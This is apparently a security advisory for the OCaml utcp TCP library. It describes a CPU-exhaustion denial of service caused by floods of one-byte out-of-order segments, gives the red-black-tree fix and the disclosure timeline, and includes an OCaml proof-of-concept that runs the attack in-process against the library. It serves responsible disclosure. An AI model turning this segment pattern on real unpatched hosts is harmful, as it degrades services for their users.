OSEC-2026-11

A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.

This has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections.

Solution

Instead of a flat list, a red-black binary tree is used for the reassembly queue.

Reproduction

let () = Mirage_crypto_rng_unix.use_default ()

let server_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.1"))
let client_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.2"))
let now = Mtime.of_uint64_ns 0L
let to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg

let seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () =
  { Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag;
    push = false; window = 65535; options = []; payload; payload_len }

let feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)

(* establish a connection, then feed [n] out-of-order segments that never fill
   the gap at rcv_nxt; return the CPU time spent *)
let cost n =
  let st = Utcp.start_listen (Utcp.empty Fun.id "victim") 80 in
  let iss = Utcp.Sequence.of_int32 1000l in
  let st, _, outs = feed st (seg ~seq:iss ~flag:`Syn ()) in
  let server_iss = (match outs with [ (_, _, s) ] -> s.Utcp.Segment.seq | _ -> assert false) in
  let st, _, _ = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server_iss) ()) in
  let rcv_nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server_iss in
  let st = ref st in
  let t0 = Sys.time () in
  for i = 0 to n - 1 do
    let s = seg ~seq:(Utcp.Sequence.addi rcv_nxt ((2 * i) + 2)) ~ack ~payload:[ "X" ] ~payload_len:1 () in
    let st', _, _ = feed !st s in
    st := st'
  done;
  Sys.time () -. t0

let () =
  let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in
  Printf.printf "2000 one-byte out-of-order segments: %.3fs\n" t1;
  Printf.printf "4000 one-byte out-of-order segments: %.3fs (%.1fx)\n" t2 (t2 /. t1);
  Printf.printf "8000 one-byte out-of-order segments: %.3fs (%.1fx)\n" t3 (t3 /. t2)

Timeline

• June 25th 2026: report to ocaml/security-advisories
• June 29th: acknowledgement of issue with several questions for the reporter
• July 6th: answers from reporter, including a patch
• July 26th: patch developed by library author
• July 27th: release of utcp 0.0.6 and security advisory